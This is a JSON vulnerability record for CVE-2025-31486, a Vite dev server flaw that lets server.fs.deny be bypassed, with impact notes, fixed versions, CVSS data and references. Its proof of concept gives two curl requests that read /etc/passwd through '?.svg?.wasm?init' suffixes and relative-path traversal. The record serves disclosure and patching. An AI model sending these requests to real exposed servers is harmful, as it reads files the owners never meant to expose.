{"id":"CVE-2025-31486","aliases":["GHSA-xcj6-pq6g-qj4x"],"url":"https://o3.security/vulnerability/CVE-2025-31486","summary":"Vite allows server.fs.deny to be bypassed with .svg or relative paths","details":"### Summary\n\nThe contents of arbitrary files can be returned to the browser.\n\n### Impact\n\nOnly apps explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) are affected.\n\n### Details\n\n#### `.svg`\n\nRequests ending with `.svg` are loaded at this line.\nhttps://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290\nBy adding `?.svg` with `?.wasm?init` or with `sec-fetch-dest: script` header, the restriction was able to bypass.\n\nThis bypass is only possible if the file is smaller than [`build.assetsInlineLimit`](https://vite.dev/config/build-options.html#build-assetsinlinelimit) (default: 4kB) and when using Vite 6.0+.\n\n#### relative paths\n\nThe check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. `../../`).\n\n### PoC\n\n```bash\nnpm create vite@latest\ncd vite-project/\nnpm install\nnpm run dev\n```\n\nsend request to read `etc/passwd`\n\n```bash\ncurl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'\n```\n\n```bash\ncurl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'\n```","published":"2025-04-03T18:24:39.616Z","modified":"2026-08-12T03:51:29.085646258Z","cvss":{"score":5.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"npm","name":"vite","fixedVersion":"6.2.5"},{"ecosystem":"npm","name":"vite","fixedVersion":"6.1.4"},{"ecosystem":"npm","name":"vite","fixedVersion":"6.0.14"},{"ecosystem":"npm","name":"vite","fixedVersion":"5.4.17"},{"ecosystem":"npm","name":"vite","fixedVersion":"4.5.12"}],"fix":{"url":"https://github.com/vitejs/vite/commit/62d7e81ee189d65899bb65f3263ddbd85247b647","label":"vitejs/vite@62d7e81"},"references":[{"type":"WEB","url":"https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/31xxx/CVE-2025-31486.json"},{"type":"ADVISORY","url":"https://github.com/vitejs/vite/security/advisories/GHSA-xcj6-pq6g-qj4x"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-31486"},{"type":"FIX","url":"https://github.com/vitejs/vite/commit/62d7e81ee189d65899bb65f3263ddbd85247b647"},{"type":"PACKAGE","url":"https://github.com/vitejs/vite"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:29.085646258Z"}}